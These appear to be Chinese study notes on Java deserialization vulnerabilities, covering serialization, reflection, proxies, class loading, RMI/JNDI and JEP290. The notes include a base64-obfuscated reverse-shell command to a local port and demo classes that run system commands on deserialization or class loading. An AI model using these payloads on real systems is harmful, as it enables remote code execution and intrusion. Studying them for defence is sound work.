在编程语言的世界当中,常常有这样的需求,我们需要将本地已经实例化的某个对象,通过网络传递到其他机器当中.为了满足这种需求,就有了所谓的序列化和反序列化
1. 序列化:将内存中的某个对象压缩成字节流的形式
2. 反序列化:将字节流转化成内存中的对象
只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力.
1. 入口类的readObject直接调用危险方法
2. 入口类参数中包含可控类,该类有危险方法,readObject时调用
3. 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
比如类型定义为Object,调用equals/hashcode/toString 相同类型 同名函数
1. 构造函数/静态代码块等类加载时隐式执行
Java中间件通常通过网络接收客户端发送的序列化数据,而在服务端对序列化数据进行反序列化时,会调用被序列化对象的readObject()方法.而在Java中如果重写了某个类的方法,就会优先调用经过修改后的方法.如果某个对象重写了readObject()方法,且在方法中能够执行任意代码,那服务端在进行反序列化时,也会执行相应代码
需要跳出PHP反序列化的思想
在php中序列化是将对象等转换成了字符串,而在Java中则是转换成了字节流
序列化/反序列化是一种思想,并不局限于其实现的形式
如:
• JAVA内置的writeObject()/readObject()
• JAVA内置的XMLDecoder()/XMLEncoder
• XStream
• SnakeYaml
• FastJson
• Jackson
出现过漏洞的组件
• Apache Shiro
• Apache Axis
• Weblogic
• Jboss
• Fastjson
Java中的命令执行
public static void main() throws Exception{
Runtime.getRuntime().exec("calc");
/*
Java中执行系统命令使用java.lang.Runtime类的exec方法
以上函数可以弹出计算器
getRuntime()是Runtime类中的静态方法,使用此方法获取当前java程序的Runtime(即运行时:计算机程序运行需要的代码库,框架,平台等)
exec底层为ProcessBuilder:此类用于创建操作系统进程
每个ProcessBuilder实例管理进程属性的集合。start()方法使用这些属性创建一个新的Process实例。start()方法可以从同一实例重复调用,以创建具有相同或相关属性的新子进程。
*/
}
注意:这里的命令执行,并不是使用系统中的bash或是cmd进行的系统命令执行,而是使用JAVA本身,所以反弹shell的重定向符在JAVA中并不支持
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTI3LjAuMC4xLzU1NTUgMD4mMQ==}|{base64,-d}{bash,-i}
在Java当中,如果一个类需要被序列化和反序列化 ,需要实现java.io.Serializable
接口
/*
* @Author:
* @Date: 2022-10-03 15:57:25
* @LastEditors:
* @LastEditTime: 2022-10-04 14:25:05
* @Description: 请填写简介
*/
package serializable;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;/*
* implements Serializable:序列化的前提,需要实现这个接口
* Serializable:表示这个类的成员可以被序列化
*/
public class Person implements Serializable {
private static final long serialVersionUID = 1L;
// 添加一个 transient 关键字,则name属性不会被序列化和反序列化
// 如果将属性设置为static,同样不会被序列化和反序列化
// private transient String name;
public String name;
private int age;
public Person(){
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
/*
* @Override是Java5的元数据,自动加上去的一个标志,告诉你说下面这个方法是从父类/接口
* 继承过来的,需要你重写一次,这样就可以方便你阅读,也不怕会忘记
* @Override是伪代码,表示重写(当然不写也可以),不过写上有如下好处:
* 1. 可以当注释用,方便阅读
* 2. 编译器可以给你验证@Override下面的方法名是否是你父类中所有的,如果没有则报错
* 比如你如果没写@Override而你下面的方法名又写错了,这时你的编译器是可以通过的(它以为这个方法是你的子类中自己增加的方法)
* 使用该标记是为了增强程序在编译时候的检查,如果该方法并不是一个覆盖父类的方法,在编译时编译器就会报告错误
*/
@Override
public String toString() {
return "Person{" + "name='" + name + '\'' + ",age=" + age + '}';
}
private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException {
/*
* java.io.ObjectInputStream.defaultReadObject()
* 方法用于从这个ObjectInputStream读取当前类的非静态和非瞬态字段.它间接地涉及到该类的readObject()方法的帮助.
* 如果它被调用,则会抛出NotActiveException
*/
objectInputStream.defaultReadObject();
/*
* 每个Java应用程序都有一个Runtime类的Runtime ,允许应用程序与运行应用程序的环境进行接口.当前运行时可以从getRuntime方法获得.
*/
/*
* exec:在具有指定环境的单独进程中执行指定的字符串命令.
* 这是一种方便的方法. 调用表单exec(command, envp)的行为方式与调用exec(command, envp, null)完全相同 .
*/
Runtime.getRuntime().exec("calc");
}
}
我们跟进java.io.Serializable
接口,发现是一个空接口,说明其作用只是为了在序列化和反序列化中做了一个类型判断.为什么呢?因为需要遵循非必要原则,不需要反序列化的类就可以不用序列化了
public interface Serializable{
}
Java原生实现了一套序列化的机制,它让我们不需要额外编写代码,只需要实现java.io.Serializable
接口,并调用ObjectOutputStream
类的writeObject
方法即可
/*
* @Author:
* @Date: 2022-10-03 15:56:26
* @LastEditors:
* @LastEditTime: 2022-10-04 10:19:15
* @Description: 请填写简介
*/
package serializable;import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class Serializable {
public static void serializable(Object person) throws IOException {
/*
* ObjectOutputStream将Java对象的原始数据类型和图形写入OutputStream.可以使用ObjectInputStream读取(重构)
* 对象.可以通过使用流的文件来实现对象的持久存储.如果流是网络套接字流,则可以在另一个主机上或另一个进程中重构对象.
*/
/*
* 文件输出流是用于将数据写入到输出流File或一个FileDescriptor
* .文件是否可用或可能被创建取决于底层平台.特别是某些平台允许一次只能打开一个文件来写入一个FileOutputStream
* (或其他文件写入对象).在这种情况下,如果所涉及的文件已经打开,则此类中的构造函数将失败.
* FileOutputStream用于写入诸如图像数据的原始字节流. 对于写入字符流,请考虑使用FileWriter .
*/
// 序列化的类
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("ser.ser"));
/*
* 方法writeObject用于将一个对象写入流中. 任何对象,包括字符串和数组,都是用writeObject编写的. 多个对象或原语可以写入流.
* 必须从对应的ObjectInputstream读取对象,其类型和写入次序相同.
*/
// 需要序列化的对象是谁?
obj.writeObject(person);
obj.close();
}
public static void main(String[] args) throws Exception{
Person person = new Person("JiangJiYue", 22);
serializable(person);
}
}
跟进writeObject
函数,我们通过阅读他的注释可知:在反序列化的过程当中,是针对对象本身,而非针对类的,因为静态属性是不参与序列化和反序列化的过程的.另外,如果属性本身声明了transient
关键字,也会被忽略.但是如果某对象继承了A类,那么A类当中的对象的对象属性也是会被序列化和反序列化的(前提是A类也实现了java.io.Serializable
接口)
序列化使用ObjectOutPutStream
类,反序列化使用的则是ObjectInputStream
类的readObject
方法.
我们在之前重写了readObject
方法,所以会执行命令
/*
* @Author:
* @Date: 2022-10-03 15:57:52
* @LastEditors:
* @LastEditTime: 2022-10-04 10:23:07
* @Description: 请填写简介
*/
package serializable;import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class Unserializable {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
/*
* ObjectInputStream反序列化先前使用ObjectOutputStream编写的原始数据和对象.
* ObjectOutputStream和ObjectInputStream可以分别为与FileOutputStream和FileInputStream一起使用的对象图提供持久性存储的应用程序.
* ObjectInputStream用于恢复先前序列化的对象. 其他用途包括使用套接字流在主机之间传递对象,或者在远程通信系统中进行封送和解组参数和参数.
* ObjectInputStream确保从流中创建的图中的所有对象的类型与Java虚拟机中存在的类匹配. 根据需要使用标准机制加载类.
* 只能从流中读取支持java.io.Serializable或java.io.Externalizable接口的对象.
*/
// 反序列化的类
ObjectInputStream ins = new ObjectInputStream((new FileInputStream(Filename)));
/*
* 方法readObject用于从流中读取对象. 应使用Java的安全铸造来获得所需的类型. 在Java中,字符串和数组是对象,在序列化过程中被视为对象.
* 读取时,需要将其转换为预期类型.
*/
// 读出来并反序列化
Object obj = ins.readObject();
ins.close();
return obj;
}
public static void main(String[] args) throws Exception {
Person person = (Person) unserialize("ser.ser");
System.out.println(person);
}
}
其实反序列化的实现就是序列化的逆过程,会根据序列化读出数据的类型,进行相应的处理
序列化和反序列化可以理解为压缩和解压缩,但是压缩之所以能被解压缩的前提是因为他俩的协议是一样的.如果压缩是以四个字节为一个单位,而解压缩以八个字节为一个单位,就会乱套
同样在Java中与协议相对的概念为:serialVersionUID
当serialVersionUID不一致时,反序列化会直接抛出异常
比如设置为1L时序列化,修改为2L时反序列化,则会抛出异常
跟进代码可以发现,针对序列化数据中的serialVersionUID和实际获取到类的serialVersionUID进行了判断,如果不相等则抛出异常
将类的各个组成部分封装为其他对象,这就是反射机制
让Java具有动态性
1. 修改已有对象的属性
2. 动态生成对象
3. 动态调用方法
4. 操作内部类和私有方法
5. 解耦,提高程序的可扩展性
在反序列化漏洞中的应用
1. 定制需要的对象
2. 通过invoke调用除了同名函数以外的函数
3. 通过Class类创建对象,引入不能序列化的类
1. Source
源代码阶段:Class.forName("全类名");
将字节码文件加载进内存,返回Class对象 多用于配置文件,可以将类名定义在配置文件中,读取文件,加载类
1. Class
类对象阶段:类名.class
通过类名的属性class来获取 多用于参数的传递
1. Runtime
运行时阶段:对象.getClass
getClass()方法在Object类中定义着 多用于对象的获取字节码的方式
*同一个字节码文件(.class)在一次程序运行过程中,只会被加载一次,不论通过哪一种方式获取的Class对象都是同一个 **
获取成员变量们
• Field[] fields = getFields()
获取所有public
修饰的成员变量
• Field field = getField(String name)
获取所有public
修饰的成员变量
• Field[] fields = getDeclaredFields()
获取所有的成员变量
• Field field = getDeclaredField(String name)
获取所有的成员变量
• 操作
• 获取值:get(Object obj)
package serializable;import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
public class ReflectionTest {
public static void main(String[] args) throws Exception {
Class cls = Class.forName("serializable.Person");
//当我不想 newInstance初始化的时候执行空参数的构造函数的时候
//可以通过字节码文件对象方式 getConstructor(paramterTypes) 获取到该构造函数
//获取到Person(String name,int age) 构造函数
// 从class里面实例化对象
Constructor personconstructor = cls.getConstructor(String.class,int.class);
//通过构造器对象 newInstance 方法对对象进行初始化 有参数构造函数
Person p = (Person) personconstructor.newInstance("abc",22);
Field name = cls.getField("name");
System.out.println(name.get(p));
}
}
- 私有的会访问异常,需要在访问之前忽略访问权限修饰符的安全检查
Field age = cls.getDeclaredField("age");
// 忽略安全检查又称为暴力反射
age.setAccessible(true);
System.out.println(age.get(p));
• 设置值:void set(Object obj,Object value)
name.set(p,"张三");
System.out.println(p);
获取构造方法们
• Constructor<?>[] = getConstructors()
• Constructor<T> = getConstructor(类<?>...parameterTypes)
• newInstance(Object... initargs)
:创建对象Person p = (Person) personconstructor.newInstance("abc",22);
• Constructor:构造方法
Constructor personconstructor = cls.getConstructor(String.class,int.class);
System.out.println(personconstructor);
- 如果使用空参构造方法创建对象,操作可以简化:Class对象的`newInstance`
Class cls = Class.forName("serializable.Person");
Object o = cls.newInstance();
System.out.println(o);
• Constructor<?>[] = getDeclaredConstructors()
• Constructor<T> = getDeclaredConstructor(类<?>...parameterTypes)
获取成员方法们
• Method[] = getMethods()
• Method = getMethod(类<?>...parameterTypes)
Class cls = Class.forName("serializable.Person");
// 获取指定名称
Method eat_method = cls.getMethod("eat");
Object p = cls.newInstance();
// 执行方法
eat_method.invoke(p);
• Method[] = getDeclaredMethods()
• Method = getDeclaredMethod(类<?>...parameterTypes)
• 获取方法名称:String getName
Class cls = Class.forName("serializable.Person");
Method[] methods = cls.getMethods();
for (Method method:methods){
System.out.println(method.getName());
}
• String name = getName()
Class cls = Class.forName("serializable.Person");
String className = cls.getName();
System.out.println(className);
写一个"框架",可以帮我们创建任意类的对象,并且执行其中任意方法
/*
* @Author:
* @Date: 2022-10-04 14:11:43
* @LastEditors:
* @LastEditTime: 2022-10-04 16:08:53
* @Description: 请填写简介
*/
package serializable;import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Properties;
public class ReflectionTest {
public static void main(String[] args) throws Exception {
/*
* 前提:不能改变该类的任何代码,可以创建任意类的对象,可以执行任意方法
* 步骤:
* 1. 将需要创建的对象的全类名和需要执行的方法定义在配置文件中
* 2. 在程序中加载读取配置文件
* 3. 使用反射技术来加载类文件进内存
* 4. 创建对象
* 5. 执行方法
* */
// 1.1创建Properties对象
Properties pro = new Properties();
// 1.2加载配置文件,转换为一个集合
// 1.2.1获取class目录下的配置文件
ClassLoader classLoader = ReflectionTest.class.getClassLoader();
InputStream is = classLoader.getResourceAsStream("serializable/pro.properties");
pro.load(is);
// 2.获取配置文件中定义的数据
String className = pro.getProperty("className");
String methodName = pro.getProperty("methodName");
// 3.加载该类进内存
Class cls = Class.forName(className);
// 4.创建对象
Object obj = cls.newInstance();
// 5.获取方法对象
Method method = cls.getMethod(methodName);
// 6.执行方法
method.invoke(obj);
}
}
pro.properties:
className=serializable.Person
methodName=eat
定义:为其他对象提供一种代理以控制对这个对象的访问
代理模式是一种设计模式,可以在不修改被代理对象的基础上,通过扩展代理类,进行一些功能的附加与增强,之得注意的是:代理类和被代理类应该共同实现一个接口,或者是共同继承某个类
优点:
• 职责清晰
• 高扩展,只要实现了接口,都可以使用代理
• 智能化,动态代理、
分类
• 静态代理
• 动态代理
代理常用与记录日志的环境,比如在代理中实现各种日志的记录
我们现在有一个接口:IUser
IUser.java
:
/*
* @Author:
* @Date: 2022-10-11 19:40:35
* @LastEditors:
* @LastEditTime: 2022-10-11 19:40:36
* @Description: 请填写简介
*/
package java_proxy;public interface IUser {
void show();
}
然后Userlmpl.java
实现这个接口
/*
* @Author:
* @Date: 2022-10-11 19:42:01
* @LastEditors:
* @LastEditTime: 2022-10-11 19:43:35
* @Description: 请填写简介
*/
package java_proxy;public class Userlmpl implements IUser{
public Userlmpl() {
}
@Override
// @Override是伪代码,表示重写
public void show() {
System.out.println("展示");
}
}
假设我们现在要做一件事,就是在所有的实现类调用show()
后增加一行输出调用了UserProxy中的show
,那我们只需要编写代理类UserProxy
/*
* @Author:
* @Date: 2022-10-11 19:45:45
* @LastEditors:
* @LastEditTime: 2022-10-11 19:46:53
* @Description: 请填写简介
*/
package java_proxy;public class UserProxy implements IUser{
IUser user;
public UserProxy() {
}
public UserProxy(IUser user) {
this.user = user;
}
@Override
public void show() {
user.show();
System.out.println("调用了UserProxy中的show");
}
}
ProxyTest.java
/*
* @Author:
* @Date: 2022-10-11 19:44:01
* @LastEditors:
* @LastEditTime: 2022-10-11 20:25:55
* @Description: 请填写简介
*/package java_proxy;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class ProxyTest {
public static void main(String[] args) {
IUser user = new Userlmpl();
// 静态代理
IUser userProxy = new UserProxy(user);
userProxy.show();
}
}
这种模式虽然好理解,但是缺点也很明显:
• 会存在大量的冗余的代理类,这里演示了1个接口,如果有10个接口,就必须定义10个代理类。
• 不易维护,一旦接口更改,代理类和目标类都需要更改。
JDK动态代理,通俗点说就是:无需声明式的创建java代理类,而是在运行过程中生成"虚拟"的代理类,被ClassLoader加载。从而避免了静态代理那样需要声明大量的代理类。
JDK从1.3版本就开始支持动态代理类的创建。主要核心类只有2个:
java.lang.reflect.Proxy
和java.lang.reflect.InvocationHandler
。
• JDK动态代理采用接口代理的模式,代理对象只能赋值给接口,允许多个接口
还是前面那个例子,用动态代理类去实现的代码如下:Userlmpl.java
/*
* @Author:
* @Date: 2022-10-11 19:42:01
* @LastEditors:
* @LastEditTime: 2022-10-11 19:43:35
* @Description: 请填写简介
*/
package java_proxy;public class Userlmpl implements IUser{
public Userlmpl() {
}
@Override
// @Override是伪代码,表示重写
public void show() {
System.out.println("展示");
}
}
UserInvocationHandler.java
/*
* @Author:
* @Date: 2022-10-11 20:21:22
* @LastEditors:
* @LastEditTime: 2022-10-11 20:27:17
* @Description: 请填写简介
*/
package java_proxy;import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class UserInvocationHandler implements InvocationHandler {
IUser user;
public UserInvocationHandler() {
}
public UserInvocationHandler(IUser user) {
this.user = user;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("调用了UserInvocationHandler中的show");
method.invoke(user, args);
return null;
}
}
ProxyTest.java
/*
* @Author:
* @Date: 2022-10-11 19:44:01
* @LastEditors:
* @LastEditTime: 2022-10-11 20:25:55
* @Description: 请填写简介
*/package java_proxy;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class ProxyTest {
public static void main(String[] args) {
IUser user = new Userlmpl();
// 动态代理
InvocationHandler userinvhandler = new UserInvocationHandler(user);
// 要代理的接口、类加载器,classloader、要做的事情、
IUser userProxy = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(),
user.getClass().getInterfaces(), userinvhandler);
userProxy.show();
}
}
类加载,即虚拟机加载.class文件。什么时候虚拟机需要开始加载一个类呢?虚拟机对此没有规范约束,交给虚拟机把握。类加载,即虚拟机加载.class文件。什么时候虚拟机需要开始加载一个类呢?虚拟机对此没有规范约束,交给虚拟机把握。
类加载的时候会执行代码
1. 初始化:静态代码块
2. 实例化:构造代码块、无参数构造函数
javac是用于将源码文件.java编译成对应的字节码文件.class。
其步骤是:源码——>词法分析器组件(生成token流)——>语法分析器组件(语法树)——>语义分析器组件(注解语法树)——>代码生成器组件(字节码)
先在方法区找class信息,有的话直接调用,没有的话则使用类加载器加载到方法区(静态成员放在静态区,非静态成功放在非静态区),静态代码块在类加载时自动执行代码,非静态的不执行;先父类后子类,先静态后非静态;静态方法和非静态方法都是被动调用,即不调用就不执行。
类加载的流程图
/*
* @Author:
* @Date: 2022-10-12 12:18:17
* @LastEditors:
* @LastEditTime: 2022-10-12 12:25:28
* @Description: 请填写简介
*/
package load_class;public class Person {
public String name;
private int age;
static {
System.out.println("静态代码块");
}
public static void staticAction() {
System.out.println("静态方法");
}
{
System.out.println("构造代码块");
}
public Person(){
System.out.println("无参Person");
}
public Person(String name, int age) {
System.out.println("有参Person");
this.name = name;
this.age = age;
}
/*
* @Override是Java5的元数据,自动加上去的一个标志,告诉你说下面这个方法是从父类/接口
* 继承过来的,需要你重写一次,这样就可以方便你阅读,也不怕会忘记
* @Override是伪代码,表示重写(当然不写也可以),
*/
@Override
public String toString() {
return "Person{" + "name='" + name + '\'' + ",age=" + age + '}';
}
private void action(String act){System.out.println(act);}
}
类加载可以加载任意方法,但是反射只能反射公共的
package load_class;public class LoadClass {
public static void main(String[] args) throws Exception{
// 动态加载进行了初始化的操作
Class.forName("load_class.Person");
}
}
/*
* @Author:
* @Date: 2022-10-12 12:17:50
* @LastEditors:
* @LastEditTime: 2022-10-12 14:37:34
* @Description: 请填写简介
*/
package load_class;public class LoadClass {
public static void main(String[] args) throws Exception {
// ClassLoader是一个抽象类,不能被实例化,但是提供了一个静态方法,获取当前系统的类加载器
ClassLoader cs = ClassLoader.getSystemClassLoader();
// 第一个参数类名
// 第二个参数是不进行初始化
// 第四个参数是forName0的,所以在这不用写
// 这种都是可以正常实例化的
Class<?> c = Class.forName("load_class.Person", false, cs);
// 正常的实例化
c.newInstance();
}
}
/*
* @Author:
* @Date: 2022-10-12 12:17:50
* @LastEditors:
* @LastEditTime: 2022-10-12 14:40:27
* @Description: 请填写简介
*/
package load_class;public class LoadClass {
public static void main(String[] args) throws Exception {
// ClassLoader是一个抽象类,不能被实例化,但是提供了一个静态方法,获取当前系统的类加载器
ClassLoader cs = ClassLoader.getSystemClassLoader();
// 打印ClassLoader,看一下是什么
// result:[email protected]
// 他是Launcher里面的一个内部类,叫做AppClassLoader
System.out.println(cs);
}
}
URLClassLoader
URLClassLoader
:输入一个URL,从URL内加载一个类出来
1. 构造一个恶意类
import java.io.IOException;public class Hello {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
1. javac .\Hello.java
然后将Hello.java
删除或者移动到其他目录
2. 编译动态加载类
defineClass
defineClass
是一个protected
,所以只能通过反射调用,字节码任意加载类
构造恶意类:Hello.java
/*
* @Author:
* @Date: 2022-10-12 22:43:33
* @LastEditors:
* @LastEditTime: 2022-10-13 08:27:39
* @Description: 请填写简介
*/
package load_class;public class Hello {
public Hello() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
动态加载:LoadClass.java
ClassLoader cl = ClassLoader.getSystemClassLoader();
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\LearningWorld\\PersonalProject\\PersonalProject\\Java\\基础语法\\src\\load_class\\Hello.class"));
Class c = (Class) defineClassMethod.invoke(cl,"load_class.Hello",code,0,code.length);
c.newInstance();
Unsafe
Unsafe
中也含有defineClass
字节码任意加载类
/*
* @Author:
* @Date: 2022-10-12 12:17:50
* @LastEditors:
* @LastEditTime: 2022-10-13 20:19:06
* @Description: 请填写简介
*/
package load_class;import sun.misc.Launcher;
import sun.misc.Unsafe;
import java.io.File;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
public class LoadClass {
public static void main(String[] args) throws Exception {
ClassLoader cl = ClassLoader.getSystemClassLoader();
byte[] code = Files.readAllBytes(Paths
.get("D:\\LearningWorld\\PersonalProject\\PersonalProject\\Java\\基础语法\\src\\load_class\\Hello.class"));
Class c = Unsafe.class;
Field theUnsafeField = c.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class c2 = unsafe.defineClass("load_class.Hello", code, 0, code.length, cl, null);
c2.newInstance();
}
}
集合又称容器,是Java中对数据结构(数据存储方式)的具体实现
我们可以利用集合存放数据,也可对集合进行新增、删除、修改、查看等操作
集合中数据都是在内存中,当程序关闭或重启后集合中数据会丢失 .所以集合是一种临时存储数据的容器
1. Map
• Map集合是一个双列集合,一个元素包含两个值(一个key,一个value)
• Map集合中的元素,key和value的数据类型可以相同,也可以不同
• Map集合中的元素,key是不允许重复的,value是可以重复的
• Map集合中的元素,key和value是一一对应的
• 特点
2. HashMap
• 采用Hashtable哈希表存储结构(神奇的结构)
• 优点:添加速度快、查询速度快、删除速度快
• 缺点:key无序
3. LinkedHashMap
• 采用哈希表存储结构,同时使用链表维护次序
• key有序(添加顺序)
4. TreeMap
• 采用二叉树(红黑树)的存储结构
• 优点:key有序 查询速度比List快(按照内容查询)
• 缺点:查询速度没有HashMap快
1. 接口Map是独立的接口,和Collection没有关系Map中每个元素都是Entry类型,每个元素都包含Key(键)和Value(值)
1. 继承关系Ctrl+H
2. 包含的APIAlt+7
/*
* @Author:
* @Date: 2022-10-16 20:33:43
* @LastEditors:
* @LastEditTime: 2022-10-16 22:34:09
* @Description: 请填写简介
*/
package java_Map;import java.util.*;
public class TestMap {
public static void main(String[] args) {
// Student stu1 = new Student(1, "张三", 22);
// Student stu2 = new Student(2, "李四", 28);
// Student stu3 = new Student(3, "王五", 24);
// Student stu4 = new Student(4, "赵六", 21);
// Student stu5 = new Student(5, "刘琦", 18);
//
// Map<Integer, Student> map = new HashMap<>();
// map.put(stu1.getId(), stu1);
// map.put(stu2.getId(), stu2);
// map.put(stu3.getId(), stu3);
// map.put(stu4.getId(), stu4);
// map.put(stu5.getId(), stu5);
// // 该代码允许用户从System.in读取一个数字
// Scanner sc = new Scanner(System.in);
// // 提示文字
// System.out.println("请输入学生的编号:");
// // 该代码允许用户从System.in读取一个数字
// int id = sc.nextInt();
// sc.close();
// // map.get()通过key取值
// System.out.println(map.get(id));
Map<Integer, String> map = new HashMap<>();
// Map集合添加元素 k v
map.put(1, "北京");
map.put(2, "山东");
map.put(3, "河南");
map.put(4, "河北");
// 根据Key获取对应的值
System.out.println(map.get(1));
// 根据Map的key进行元素的移除 如果元素不存在返回是null 否则返回移除对象的value
String s = map.remove(1);
System.out.println(s);
// 根据 k v 同时移除内容 返回值是布尔类型
System.out.println(map.remove(2, "山东"));
// 元素的替换
System.out.println(map.replace(3, "天津"));
// 替换成功返回Bool
System.out.println(map.replace(4, "河北", "山西"));
System.out.println(map.get(4));
System.out.println(map);
// 清空map集合内容 k v 都清空
map.clear();
System.out.println(map);
System.out.println("--------HashMap保存值情况--------");
map.put(1, "北京1");
// HashMap中如果k相同了 后者的v就会把前者相同的k的v进行覆盖
System.out.println(map);
// hash表中是允许Kev保存空对象
map.put(null, "空");
System.out.println(map);
System.out.println("--------TreeMap保存值情况--------");
Map<Integer, String> map2 = new TreeMap<>();
map2.put(1, "北京");
map2.put(2, "北京2");
// TreeMap中如果k相同了 后者的v就会把前者相同的k的v进行覆盖
map2.put(1, "北京3");
// Tree中不允许Kev保存空值,否则出错(源码中没有对null进行处理)
// map2.put(null, "空");
System.out.println(map2);
System.out.println("--------Map3集合的遍历--------");
Map<Integer, String> map3 = new HashMap<>();
map3.put(1, "北京");
map3.put(2, "山东");
map3.put(3, "河南");
map3.put(4, "河北");
// 当前遍历的方式
// 获得map集合中当前所有的key
System.out.println("遍历方法一:");
Set<Integer> keySet = map3.keySet();
for (Integer key : keySet) {
System.out.println(key+"----"+map3.get(key));
}
// 直接获得map集合的value
System.out.println("遍历方法二:");
Collection<String> values = map3.values();
for (String value : values) {
System.out.println(value);
}
System.out.println("遍历方法三:");
Set<Map.Entry<Integer, String>> entrySet= map3.entrySet();
for (Map.Entry<Integer, String> entry : entrySet) {
System.out.println(entry.getKey()+"----"+entry.getValue());
}
}
}
我们已经知道,Map中存放的是两种对象,一种称为key(键),一种称为value(值),它们在Map中是一对应关系,这一对对象又称做Map中的一个Entry(项)。Entry 将键值对的对应关系封装成了对象。即键值对对象,这样我们在遍历Map集合时,就可以从每一个键值对 ( Entry ) 对象中获取对应的键与对应的值既然Entry表示了一对键和值,那么也同样提供了获取对应键和对应值得方法:
• public K getKey():获取Entry对象中的键
• public V getValue():获取Entry对象中的值
在Map集合中也提供了获取所有Entry对象的方法:
• public Set<Map.Entry<K,V>> entrySet():获取到Map集合中所有的键值对对象的集合(Set集合)
设定值
• setValue(V value)
• 用指定的值替换与该条目对应的值(可选操作)(写入映射。)如果映射已经从映射中删除(通过迭代器的删除操作),则此调用的行为是未定义的。
• 参数:value- 要存储在此条目中的新值
• return:对应条目的旧值
利用链是什么:
• 入口点Source+中间经过的类方法gadget+执行点Sink
能够让程序员开发出基于Java的分布式应用.一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用他的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样
一台机器想要执行另一台机器上的java代码
例如:
我们使用浏览器对一个http协议实现的接口进行调用,这个接口调用过程我们可以称为`Interface Invocation`,而RMI的概念与之非常相似,只不过RMI调用的是一个Java方法,而浏览器调用的是一个http接口.并且Java中封装了RMI的一系列定义
Server--->告诉注册中心
Client--->根据名字和注册中心要端口
Registry翻译一下就是注册处,其实本质就是一个map(hashtable),注册着许多Name到对象的绑定关系,用于客户端查询要调用的方法的引用.
注册中心约定端口:1099
Registry的作用就好像是病人(客户端)看病之前的挂号(获取远程对象的IP、端口、标识符),知道医生(服务端)在哪个门诊,再去看病(执行远程方法)
RMI底层通讯采用了Stub(运行在客户端)和Skeleton(运行在服务端)机制,RMI调用远程的方法大致如下:
整个过程会进行两次TCP连接:
1. Client获取这个Name和对象的绑定关系
• RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.Registrylmpl Stub)
• Stub会将Remote对象传递给远程引用层java.rmi.server.RemoteRef
并创建java.rmi.server.RemoteCall
(远程调用)对象。
• RemoteCall序列化RMI服务名称、Remote对象。
• RMI客户端的远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端的远程引用层。
• RMI服务端的远程引用层sun.rmi.server.UnicastServerRef
收到请求会请求传递给Skeleton(sun.rmi.registry.Registrylmpl_Skel#dispatch)
• Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。
• Skeleton处理客户端请求: bind、 list、 lookup、 rebind、 unbind, 如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。
2. 再去连接Server并调用远程方法
• RMI客户端反序列化服务端结果,获取远程对象的引用
• RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端
• RMI客户端反序列化RMI远程方法调用结果
**危险的点:**如果服务端没有我想调用的对象->RMI允许服务端从远程服务器进行远程URL动态类加载
对象调用:从网络通信到内存操作,有一个对象的创建到调用的过程-->在JAVA中使用序列化和反序列化来实现
通俗点解释:它就是一个协议,一个在TCP/IP之上的线路层协议,一个RMI的过程,是用到JRMP这个协议去组织数据格式然后通过TCP进行传输,从而达到RMI,也就是远程方法调用、
Java命名和目录接口,既然是接口,那必定就有实现,而目前我们Java中使用最多的基本就是RMI和LDAP的目录服务系统.
而命名的意思就是,在一个目录系统,它实现了把一个服务名称和对象或命名引用相关联,在客户端,我们可以调用目录系统服务,并根据服务名称查询到相关联的对象或命名引用,然后返回给客户端。而目录的意思就是在命名的基础上,增加了属性的概念,我们可以想象一个文件目录中,每个文件和目录都会存在着一些属性,比如创建时间、读写执行权限等等,并且我们可以通过这些相关属性筛选出相应的文件和目录。而JNDI中的目录服务中的属性大概也与之相似,因此,我们就能在使用服务名称以外,通过一些关联属性查找到对应的对象
总结的来说:JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来。
还是前面所说的例子,我们在使用浏览器进行访问一个网络上的接口时,它和服务器之间的数据传输以及数据格式的组织,使用到基于TCP/IP之上的HTTP协议,只有通过HTTP协议,浏览器和服务端约定好的一个协议,他们之间才能正常的交流通讯,而JRMP也是一个与之相似的协议,只能JRMP这个协议仅用于Java RMI中
JEP290是Java为了防御反序列化攻击而设置的一种过滤器,其在JEP项目中编号为290,因而通常被简称为JEP290
1. 黑白名单结合对反序列化的类进行检测,需要注意的是因为UnicastRef类在白名单内,JRMP客户端的payload可以用来连恶意的服务端
2. 检测反序列化链的深度
3. 在RMI过程中提供了调用对象提供了一个验证类的机制
4. 过滤内容可被配置
